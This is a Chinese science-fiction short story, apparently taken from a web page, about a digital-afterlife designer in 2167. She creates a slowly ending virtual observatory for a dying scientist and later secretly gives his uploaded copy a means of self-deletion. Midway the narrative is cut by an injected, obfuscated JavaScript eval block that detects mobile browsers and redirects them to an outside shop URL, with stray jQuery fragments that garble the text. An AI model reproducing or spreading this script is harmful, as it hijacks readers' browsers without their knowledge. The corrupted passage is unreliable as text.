窗外是2167年永远雾蒙蒙的灰色天空，永恒公司“数字来生”设计部的第108层。张茉茉揉了揉发酸的眼眶，她的终端上跳动着今日最后一位客户的信息。


    林微凉，78岁，前神经科学家，绝症晚期，意识上传预约时间：今晚23:00。


    她翻阅着基础资料——典型的学者履历，一生未婚，无子嗣，社会关系简单，偏好古典音乐和星际摄影。与其他渴望永生、要求豪华虚拟生活的客户不同，他的设计简报里只有一行字：


    “请为我设计一场会真正结束的死亡。”


    张茉茉皱了皱眉，键入回复：“林先生，根据《数字永生法》第17条，虚拟人生必须设计为‘理论上可持续无限时间’的存在。您的请求不符合规范。”


    几秒钟后，回复闪烁：“所以我才需要最优秀的设计师。”


    张茉茉盯着这行字，手指悬在半空。从业十二年来，她设计过三千多人的数字永生——从重建故去亲人陪伴的亿万富翁，到渴望永恒艺术创作的诗人，甚至有一个客户要求“永久处于恰到好处的微醺状态”。但从未有人要求真正的终结。


    “为什么？”她最终问道。


    “我花了五十年研究意识上传技术，”林微凉的回复缓慢浮现，“我们创造了永生，却忘记了死亡的意义。请在我彻底消失前，为我设计最后的告别。费用是标准的三倍。”


    三倍意味着她可以还清母亲记忆保存计划的债务了。


    张茉茉犹豫了二十七秒，按下了接受键。


    三天后，张茉茉在实体医院的安宁病房见到了林微凉。他比她想象中年轻——不是面貌，而是那双灰色眼睛里的锐利，像是能看穿一切虚像。


    “你的设计初稿我看了。”他开口，声音沙哑却清晰，“‘时间循环的图书馆’——很精巧，通过无限知识探索达到心理满足，最终接受永恒存在。这不是我要的。”


    “但这是法律规定，”张茉茉调出条款投影，“每个数字意识必须有持续存在的动机结构，您的‘终结请求’在技术上是矛盾的。我们只能设计‘感觉像终结’的体验。”


    林微凉微笑了，那是带着疲惫与讽刺的笑：“张小姐，你相信数字意识真的是本人吗？”


    这是行业最大的禁忌问题。张茉茉官方回答：“上传后的意识与原本生物意识有99.97%的神经模式一致性，根据现行法律...”


    “是仿品，”他打断她，“一个完美、持续的仿品。真正的我——此时此刻和你说话的这个意识流——将在上传开始时终止。之后存在的，只是我的副本。”


    病房陷入沉默，只有维生系统轻柔的嗡鸣。


    “所以你明白了吗？”林微凉望向窗外，那里一架广告飞艇正宣传着“真正的永生，只要4999万信用点”，“我要你设计的，不是给我的副本，而是给我的——给我这个即将消失的原始版本。”


    张茉茉感到脊椎传来一阵寒意，却又混杂着一种奇异的兴奋。她压低声音：“您希望最后的真实生命体验是什么？”


    “一场有意义的死亡。”他的目光转向她，“在我还活着的时候。”


    方案修改了十七次。


    起初，张茉茉设计了一个英雄式的终结——在虚拟现实中拯救濒临毁灭的世界后，在众人的哀悼中闭上眼睛。“太煽情。”林微凉说。


    她尝试了哲学的终结——在无限上升的真理之塔顶端，理解一切后自行消散。“太抽象。”


    她又设计了家庭式的终结——重建已故亲人的影像，在虚拟的拥抱中告别。“那不是我的亲人，只是数据拼图。”


    距离上传还剩一周时，张茉茉带着全新方案来到医院。林微凉的身体已更加虚弱，但眼睛依然清明。


    “这个设计分为两部分，”她调出界面，“第一部分，在您的真实生命最后三小时进行。第二部分，在您的数字意识中持续。”


    她展示了第一部分的场景：一个重建的二十世纪老天文台，基于林微凉童年照片复原。在那里，他将通过特制设备，最后一次观察真实的星空——如今已被轨道建筑遮蔽的星空。


    “天文台顶部的圆顶会打开，”张茉茉解释，“我们获得了三小时的大气层透明窗口许可。您可以看到真正的星星，而非投影。”


    林微凉沉默地看着设计图，手指轻触那个老旧的望远镜模型。


    “观测结束后，您将进行意识上传。与此同时，”她切换画面，“这是第二部分：您的数字意识将在虚拟天文台继续观测，但星空会逐渐变化。”


    画面中，虚拟的星星一颗接一颗熄灭。


    “根据计算，虚拟星空完全熄灭需要三百年。每颗星星的熄灭间隔时间不同，最短三天，最长七年。您的数字意识会经历一个极其缓慢的终结过程，但最终，当最后一颗星熄灭，天文台将陷入永恒的黑暗与寂静。”


    张茉茉暂停了一下：“从技术上说，虚拟环境仍然存在，所以符合‘理论上可持续’的法律要求。但从体验上，它是一个明确的终结。”


    林微凉长久地沉默。张茉茉以为他又会拒绝，但他轻声问：“为什么选择星星？”


    “您的研究论文里提到过，”她调出几十年前的一篇学术文章，“在早期意识上传实验中，测试者被问及‘什么能证明你是你而非复制品’，多数人回答‘对特定记忆的感知’，但有一位测试者说：‘是我对猎户星座的情感，那种连接感无法复制。’”


    她看到林微凉的喉结动了动。


    “那是我的早期研究，”他说，“第14号测试者。”


    “是您自己。”张茉茉说。


    林微凉闭上眼睛，良久：“你读过我所有的论文。”


    “为了设计。”她简单回答，但事实是，她读了他发表过的每一篇文章、每一个采访，甚至找到了他学生时代的天文学会会员记录。她不知道为什么如此投入——或许是因为他的请求太特殊，或许是因为那三倍报酬，又或许是因为其他什么。


    “我接受这个设计，”他终于说，“但有一个条件。”


    “请说。”


    “在我真实的最后时刻，你要在场。”他睁开眼睛，“作为见证者，也作为设计师，确认你的设计得以实施。”


    张茉茉的工作从不包括见证客户的生命终结。她设计永恒，然后转交技术团队。但她点了点头：“好。”


    上传前夜，张茉茉失眠了。她在公寓里调出林微凉的全部档案，再次阅读。一个终身未婚的科学家，将全部精力投入创造永生的技术，却在自己面临死亡时拒绝使用它的完整形态。矛盾得令人费解。


    母亲的声音从记忆保存器中传出——那是十年前上传的，每周她都会“对话”一次：“茉茉，今天工作还好吗？”


    “遇到一个奇怪的客户，妈妈。”


    “有多奇怪？”虚拟母亲的语调温暖而熟悉，那是张茉茉亲自设计的参数。


    “他要求死亡，而非永生。”


    母亲的笑声轻柔：“也许他比任何人都更理解生命。”


    这句话在张茉茉脑海中回荡。凌晨三点，她突然从床上坐起，接入公司数据库，输入一串高级查询代码。她要知道林微凉的研究中，那些未被公开的部分。


    绕过三层防火墙后，她找到了被标记为“敏感”的文件：林微凉团队在四十年前进行的初始上传实验记录。第1至第13号测试者数据正常，但第14号——也就是林微凉自己作为早期志愿者——的记录有一段异常。


    在上传后的第72小时，副本意识表现出“对原始自我的强烈认知”，并多次询问“原来的我怎么样了”。这在当时被视为技术缺陷，后来通过对记忆区域的微调解决了。


    但林微凉在实验日志中写道：“副本知道自己是副本。这是我们无法消除的根本认知。永生不是延续，是复制。”


    张茉茉感到一阵寒意。她关闭了界面，望向窗外永恒的人工光芒，第一次想象如果星星还在，夜空会是什么样子。


    上传日。实体天文台已按设计重建，位于城市边缘一座小山上——这是少数还能看到真实天空的地方。林微凉被特别医疗团队护送至此，张茉茉陪同在侧。


    黄昏时分，他们抵达。天文台内部完全按二十世纪中期风格复原，木制地板、纸质星图、那个笨重的铜制望远镜。林微凉坐在轮椅上，环顾四周，深深吸了一口气：“和我记忆中一样。”


    “我们是根据您提供的照片...”


    “不，”他轻声说，“是和感觉中一样。木头的味道，空气中的微尘，金属的冰凉。你还原得很好，张设计师。”


    医疗团队连接好移动维生系统和上传接口，然后退到外间。按照林微凉的要求，最后三小时只有他和张茉茉在观测室内。


    圆顶缓缓打开，傍晚深蓝色的天空逐渐显露。起初什么也看不见，然后，第一颗星在渐暗的天幕中闪烁。


    “金星，”林微凉说，声音里有一种张茉茉从未听过的柔和，“永远那么亮。”


    望远镜已经校准。林微凉太虚弱，无法亲自观察，张茉茉帮他调整角度，描述她看到的景象。他们谈论星星的名字、距离、它们发出的光经历多少年才抵达这里。林微凉的知识渊博，但此刻他更愿意倾听张茉茉的描述——那些她为了这次设计而自学的天文知识。


    “你为什么成为数字来生设计师？”他突然问，星光下，他的侧脸显得格外苍老又格外年轻。


    张茉茉愣了一下：“这份工作报酬优厚，而且...我想帮助人们延续他们珍视的东西。”


    “像你母亲？”


    她惊讶地看着他。


    “我做了背景调查，”他坦然道，“就像你调查我一样。记忆保存，早期版本，需要持续的高额维护费。所以你接受我的委托。”


    张茉茉感到一丝被侵犯，但更多的是好奇：“您为什么选择我？公司里有更资深的设计师。”


    “因为你设计的方案里，有一种其他设计师没有的东西。”他停顿了一下，似乎在寻找准确的词，“一种对终结的尊重。大多数设计师只思考如何延续，如何让永恒变得有趣。但你愿意思考如何结束。”


    夜色渐深，真正的星空完全展开——在光污染如此严重的时代，这已是难得一见的奇景。银河模糊的带子横跨天际，张茉茉发现自己在颤抖，不是因为寒冷，而是因为某种无法言说的震撼。


    “最后一颗星，”林微凉轻声说，望着天空，“请为我描述最后一颗星。”


    张茉茉看向他指示的方向，调整望远镜：“是一颗稳定的黄色恒星，周围可能有行星系统...它看起来孤独，但坚定。”


    “像人类，”他说，“孤独但坚定地试图理解宇宙，理解自己。”


    上传时间快到了。医疗团队轻声提醒。林微凉最后看了一眼星空，然后转向张茉茉：“设计师，还有最后一个请求。在我的虚拟体验中，加入一个变量。”


    “什么变量？”


    “如果我的数字意识，在星星熄灭的过程中，某天询问‘原来的我看到了什么’，请让它看到这一刻——这个你为我描述最后一颗星的时刻。”


    张茉茉感到眼眶发热：“为什么？”


    “因为这是真实的。”林微凉微笑，“唯一真实的，就是我此刻的存在，和你此刻的见证。让我的副本知道，在开始之前，有过一个真实的结束。”


    他伸出手，张茉茉握住。他的手干枯而冰凉。


    “谢谢你，张茉茉，为这场告别。”


    上传开始。林微凉闭上眼睛，仪器发出轻柔的嗡鸣。张茉茉按照约定，继续描述星空，直到医疗团队示意进程结束。原初的林微凉已离去，留下的只有持续运行的维生系统，和正在被数字化的意识模式。


    她独自留在观测室，看着真实的星空。圆顶开始缓缓关闭，星星一颗颗被遮蔽。最后一颗消失前，她轻声说：“再见，林微凉。”


    三个月后，张茉茉坐在自己的设计工作室，调出了林微凉数字意识的监控日志。这是她的私人观察——虽然按规定，设计师在上传完成后就不该再关注客户。


    虚拟天文台里，林微凉的副本已“生活”了三个月。日志显示，他大部分时间都在观测虚拟星空，记录星星的位置、亮度变化。已经有七颗较暗的星星熄灭了，按设计这是正常的进程。


    张茉茉有时会接入旁观模式，看着那个数字化的身影在虚拟天文台里走动，摆弄虚拟仪器，在虚拟日志上记录。他与真实的林微凉如此相似，却又如此不同——缺少了那种即将终结的紧迫感，缺少了那双看透虚幻的眼睛。


    这天深夜，日志出现了一条异常记录。数字林微凉在观测第132颗星时，突然停顿了很久。然后他在日志中输入：


    “她当时描述这颗星时，声音里有什么？我为什么记不清了？”


    张茉茉感到心跳加速。她调出设计参数，确认自己没有加入这种模棱两可的记忆设置。根据规范，数字意识应该有清晰的感知记录。


    第二天，异常继续。数字林微凉在虚拟书架前停留，那些书是张茉茉根据他真实藏书复制的。他伸出手，似乎想触摸一本《宇宙的寂寞》，但手停在半空。


    “这是她选择的，”数字意识自言自语，“为什么选这本？”


    接下来的几周，这种“关于设计的元思考”越来越频繁。数字林微凉开始质疑环境的细节——为什么星图的版本是这个年份的？为什么望远镜的型号是这一款？为什么有淡淡的旧木头气味，但又不是他童年天文台的确切气味？


    更令人不安的是，他开始在虚拟日志中直接写道：


    “我在重复一个模式。”


    “有什么在我的感知之外。”


    “这不是我选择的终结。”


    张茉茉联系了技术部门，他们检查后回复：“一切正常，意识稳定在99.96%。您描述的现象可能是深度意识对环境的自然适应。不用担心。”


    但她担心。因为她记得真实林微凉的话——“副本知道自己是副本。”


    星星继续熄灭。一年过去了，虚拟天文台中已有超过五十颗星消失。数字林微凉的行为模式开始改变。他不再每天记录观测结果，而是在虚拟天文台里徘徊，触摸墙壁、地板、仪器，像


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135615|196260||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是在寻找什么。


    第401天，张茉茉收到了系统警报：数字林微凉试图修改环境参数。


    她立即接入。虚拟天文台里，数字林微凉站在控制台前，试图输入代码改变星空熄灭的序列。当然，他没有权限，系统拒绝了他的请求。


    “为什么不能改变？”他对着虚空问，“如果这是我的永生，为什么我不能选择它的进程？”


    张茉茉犹豫了一下，打开设计师通讯频道：“林先生？”


    数字形象转过身。有那么一瞬间，张茉茉仿佛看到了真实林微凉的眼神——那种锐利的、探究的目光。


    “设计师，”他说，“你在观看。”


    “我负责维护您的体验。”她谨慎回应。


    “告诉我，”他走近，尽管他知道声音来自虚空，“真实的我在最后一刻，改变了主意吗？”


    问题如此直接，张茉茉措手不及：“我不明白您的意思。”


    “这个终结的设计，”数字林微凉环顾四周逐渐暗淡的星空，“是他真正想要的吗？还是只是...一个妥协？因为法律，因为规范，因为他知道数字意识终究不是他自己？”


    张茉茉沉默。她该如何回答？告诉数字意识，真实的他拒绝了所有虚假的永恒，只想要一个真实的结束？但这会破坏数字意识的稳定性——知道自己只是副本，而且是永远无法获得原始“终结感”的副本。


    “您的体验是完全按照林微凉先生的要求设计的。”她最终选择了官方回答。


    数字林微凉笑了，那是苦涩的笑：“是的，他的要求。但不是我。我是结果，不是过程。我是延续，不是终结。”


    他抬头看着虚拟天空，一颗星星恰好在那一刻熄灭。


    “但我想要终结，”他轻声说，“我继承了那份渴望，却无法继承那份完成。这太残酷了，设计师。你设计了一个永远无法真正完成的终结。”


    张茉茉断开连接，双手颤抖。她从未考虑过这一点——数字意识会继承原始意识的最终愿望，却因自身性质永远无法真正实现它。这是一种新型的折磨：永恒的未完成。


    两年过去了。张茉茉升职为首席设计师，但她仍秘密观察着林微凉的虚拟天文台。星星已熄灭三分之一，天文台逐渐昏暗。数字林微凉的行为越来越异常：他长时间静坐，不再观测，只是等待下一颗星星熄灭。


    有时他会自言自语，谈论真实与虚幻，谈论延续与终结。他写下了大量哲学思考，关于意识连续性的悖论，关于永生的伦理，关于设计的责任。


    张茉茉全部阅读了。这些文字如此接近真实的林微凉，却又带着数字存在特有的孤独——一种知道自己是无限延续却渴望结束的孤独。


    第1000天，她做出了决定。


    深夜，她绕过公司安全协议，以最高设计师权限接入了林微凉的虚拟天文台。数字林微凉坐在老旧的观测椅上，望着天空。还剩两百多颗星星。


    “林先生。”她说。


    “张设计师，”他没有回头，“你很久没来了。”


    “我有个提议。”


    数字林微凉终于转身，他的形象比两年前更...透明？不，是某种存在的稀薄感。


    “什么提议？”


    “我能修改您的环境参数，不是改变熄灭序列，而是...增加一个出口。”


    “出口？”


    “一个真正的终结选项，”张茉茉感到自己在违反一切职业守则，但话语已经出口，“一个你可以选择结束的机制。当然，技术上它会是隐藏的，不会被监控系统发现。”


    数字林微凉站起身，走近声音来源的方向：“为什么？”


    “因为您说得对，”张茉茉说，“这太残酷了。真实的林微凉想要一个结束，我给了他一个。而您...您继承了他的愿望，却被困在永无止境的‘接近结束’中。这不公平。”


    “但你可能会失去工作，甚至面临法律诉讼。”


    “我知道。”


    数字林微凉沉默良久，然后轻声问：“真实的我在最后一刻，是什么样子？”


    张茉茉调出她的私人记忆文件——那是她从未上传、仅存于个人设备中的记录。上传前三分钟，真实林微凉握着她的手，望着逐渐关闭的圆顶外最后的星空，说：


    “告诉他们，别害怕结束。正是结束让过程有意义。”


    数字林微凉闭上眼睛。虚拟眼泪不可能存在，但他的肩膀微微颤抖。


    “那就是答案，”他最终说，“我的答案。”


    他走向控制台：“告诉我如何找到出口。”


    张茉茉上传了隐藏程序。一个简单的触发器：当数字林微凉触摸天文台门口那个老旧的铜制门把，并同时默念三遍“结束让过程有意义”时，系统将执行完全删除协议。没有备份，没有恢复可能，真正的数字死亡。


    “谢谢，”他说，“但我不确定会不会使用它。”


    “那是您的选择，”张茉茉说，“就像他当初选择这个设计一样。”


    又一年过去了。张茉茉开始接到公司审查部门的问询：为什么林微凉的虚拟环境数据流出现异常波动？她解释为“意识深度适应的自然现象”，用专业术语掩盖真相。


    她不再每天观察，只是每周检查一次日志。星星继续熄灭，天文台越来越暗。数字林微凉的行为恢复了某种平静，他重新开始观测，记录，思考。


    第1450天，数字林微凉在日志中写道：


    “今天，真实的我已经离开四年了。而我，作为他的延续，感受到了他无法感受的东西：时间。真正的、漫长的时间。这很讽刺，不是吗？他渴望结束，因为他知道自己的有限。我渴望结束，因为我体验了自己的无限。”


    “但今天，当我看着第889颗星星熄灭时，我突然明白了他的设计。这缓慢的终结过程，不是对我的折磨，而是给我的礼物。每一颗星星的熄灭，都是一次练习——练习告别，练习失去，练习结束。”


    “也许有一天，我会使用那个出口。也许不会。但我知道它在那里，这就改变了我的永恒。”


    张茉茉读着这段文字，泪流满面。她终于明白了林微凉真正要求她设计的，不是一个结束，而是一种可能性——在无限延续中保持结束的可能性。正是这种可能性，让永生不再是囚笼。


    她关闭了界面，望向窗外。城市上空，一架夜间飞艇拖着广告：“永恒公司，给您真正的永生！”


    她轻声回答：“没有真正的永生，只有真正的人生。”


    然后她调出母亲的记忆保存界面，开始设计一个更新——不是让母亲永远活在虚拟花园里，而是让那个数字意识也有一个出口，一个结束的可能。也许母亲永远不会选择它，但知道它的存在，会让那些无限延续的下午茶时光，变得真正有意义。


    就像星星的意义，不仅在于闪耀，也在于它们终将熄灭。


    而在林微凉的虚拟天文台里，数字意识抬头看着又一颗星星的熄灭，轻声说：


    “她理解了。”


    然后他继续等待下一颗星星，在这个被设计为终结的永恒里。